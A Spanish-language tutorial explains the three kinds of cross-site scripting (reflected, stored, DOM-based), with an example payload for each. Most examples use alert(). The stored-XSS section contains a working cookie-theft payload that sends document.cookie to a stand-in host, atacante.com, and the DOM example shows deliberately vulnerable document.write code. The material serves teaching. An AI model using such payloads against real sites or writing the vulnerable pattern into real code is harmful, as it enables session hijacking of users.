Hacking con XSS
XSS (Cross-Site Scripting) es un tipo de ataque de inyección donde un atacante inserta código malicioso (generalmente JavaScript) en una página web que es vista por otros usuarios. El navegador de la víctima no puede distinguir el código malicioso del código legítimo de la página, por lo que lo ejecuta.
Existen tres tipos principales de XSS. A continuación, te doy ejemplos de cada uno:
1. XSS Reflejado (Reflected XSS)
Este es el tipo más común. El código malicioso se "refleja" en la respuesta del servidor después de que el usuario hace una petición.
Escenario: Una página de búsqueda que no sanitiza la entrada del usuario.
Ataque: Un atacante crea una URL maliciosa y se la envía a la víctima.
https://ejemplo.com/search?query=<script>alert('XSS reflejado');</script>
Resultado: Cuando la víctima hace clic en el enlace, el servidor toma el
query
y lo inserta directamente en la página de resultados sin validarlo. El navegador de la víctima ejecuta el script, que en este caso muestra una ventana emergente. Un atacante real podría reemplazaralert()
con código para robar cookies o credenciales.
2. XSS Almacenado (Stored XSS)
Este es el tipo más peligroso, ya que el código malicioso se almacena en el servidor (por ejemplo, en una base de datos) y se sirve a múltiples usuarios cada vez que visitan la página afectada.
Escenario: Un foro o un blog que permite comentarios sin validación.
Ataque: Un atacante publica un comentario malicioso.
HTMLHola, qué buen post. Aquí tienes una imagen: <img src='non-existent' onerror='window.location="http://atacante.com/robar_cookies?"+document.cookie'>
Resultado: Cada usuario que visita el post ve el comentario. El navegador intenta cargar la imagen (que no existe), lo que activa el evento
onerror
. El script se ejecuta y envía las cookies de sesión del usuario al servidor del atacante, permitiéndole potencialmente secuestrar la cuenta de la víctima.
3. XSS Basado en DOM (DOM-based XSS)
En este tipo, la vulnerabilidad ocurre del lado del cliente. El código malicioso no es reflejado por el servidor; la manipulación del DOM (Document Object Model) de la página web es lo que ejecuta el código del atacante.
Escenario: Una página que usa JavaScript para leer un parámetro de la URL y mostrarlo en la página sin sanitización.
HTML<script> var urlParams = new URLSearchParams(window.location.search); var language = urlParams.get('lang'); document.write('<h1>Idioma seleccionado: ' + language + '</h1>'); </script>
Ataque: El atacante crea una URL maliciosa.
https://ejemplo.com/?lang=<script>alert('XSS en DOM');</script>
Resultado: El navegador carga la página, y el JavaScript de la página lee el parámetro
lang
. El script lo inyecta directamente en el HTML de la página (dentro deldocument.write
), lo que provoca que el navegador lo ejecute. El servidor nunca procesa el payload malicioso, lo que hace que este tipo de XSS sea más difícil de detectar con las herramientas tradicionales del lado del servidor.